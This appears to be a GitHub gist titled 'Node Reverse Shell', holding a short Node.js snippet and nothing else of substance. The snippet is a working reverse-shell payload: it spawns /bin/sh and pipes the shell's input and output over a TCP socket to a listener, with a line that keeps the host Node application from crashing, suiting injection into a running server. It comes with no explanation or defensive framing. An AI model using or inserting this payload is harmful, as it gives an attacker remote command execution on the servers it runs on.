Skip to content

Instantly share code, notes, and snippets.

@trickycdm
Created July 4, 2017 20:31
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save trickycdm/e41532a3ffdb8ce5cb4044557406081f to your computer and use it in GitHub Desktop.
Save trickycdm/e41532a3ffdb8ce5cb4044557406081f to your computer and use it in GitHub Desktop.
Node Reverse Shell
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(8080, "127.0.0.1", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment